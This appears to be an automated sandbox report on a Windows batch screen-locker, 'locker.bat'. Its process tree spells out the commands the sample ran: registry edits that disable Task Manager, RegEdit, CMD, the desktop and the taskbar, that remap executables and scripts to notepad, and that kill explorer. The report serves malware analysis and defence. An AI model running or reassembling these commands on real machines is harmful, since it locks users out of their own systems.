Analysis

  • max time kernel
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/10/2026, 13:44

General

  • Target
    locker.bat
  • Size 11KB
  • Sample261014-q17apsgd92
  • SHA256 af0e11e151f29b0f944e798aa39b6bd6d2fd11e3d637acb3c89a3989c85b2225
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 4 IoCs
  • Modifies registry key 1 TTPs 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\locker.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle maximized -command "&{[Console]::WindowWidth=300;[Console]::WindowHeight=300}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$w=New-Object -ComObject Wscript.Shell;$w.SendKeys('{F11}')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4640
    • C:\Windows\system32\mode.com
      mode con: cols=300 lines=300
      2⤵
        PID:756
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v DisallowRun /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:5720
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:5256
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:4192
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:5800
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTaskbar /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:4592
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:4076
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:3932
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:1728
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:2676
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
        2⤵
        • Disables RegEdit via registry modification
        • Modifies registry key
        PID:2532
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:3384
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:1544
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:1500
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:4312
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v ModRiskFileTypes /t REG_SZ /d ".exe;.bat;.cmd;.com;.scr;.vbs;.ps1;.msi" /f
        2⤵
        • Modifies registry key
        PID:2120
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v DefaultFileTypeRisk /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:3396
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe /v Application /t REG_SZ /d "notepad.exe" /f
        2⤵
        • Modifies registry key
        PID:2548
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat /v Application /t REG_SZ /d "notepad.exe" /f
        2⤵
        • Modifies registry key
        PID:4824
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.cmd /v Application /t REG_SZ /d "notepad.exe" /f
        2⤵
        • Modifies registry key
        PID:3152
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.com /v Application /t REG_SZ /d "notepad.exe" /f
        2⤵
        • Modifies registry key
        PID:5808
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.scr /v Application /t REG_SZ /d "notepad.exe" /f
        2⤵
        • Modifies registry key
        PID:5816
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs /v Application /t REG_SZ /d "notepad.exe" /f
        2⤵
        • Modifies registry key
        PID:1412
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ps1 /v Application /t REG_SZ /d "notepad.exe" /f
        2⤵
        • Modifies registry key
        PID:2832
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowCpl /t REG_DWORD /d 1 /f
        2⤵
          PID:4752
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
          2⤵
            PID:3688
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
            2⤵
              PID:3788
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im explorer.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5308
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im taskmgr.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5096
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im regedit.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4560
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im cmd.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1800

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 952B
                • SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_bscqi4b0.3is.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bscqi4b0.3is.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                memory/4100-3-0x00000259D8F60000-0x00000259D8F82000-memory.dmp

                memory/4100-4-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4100-5-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4100-6-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4100-7-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4100-8-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4100-9-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4100-12-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4100-11-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4100-0-0x00007FFA55F0F000-0x00007FFA55F10000-memory.dmp

                memory/4640-13-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4640-17-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4640-18-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4640-19-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4640-20-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4640-21-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4640-24-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp

                memory/4640-23-0x00007FFA55D80000-0x00007FFA56724000-memory.dmp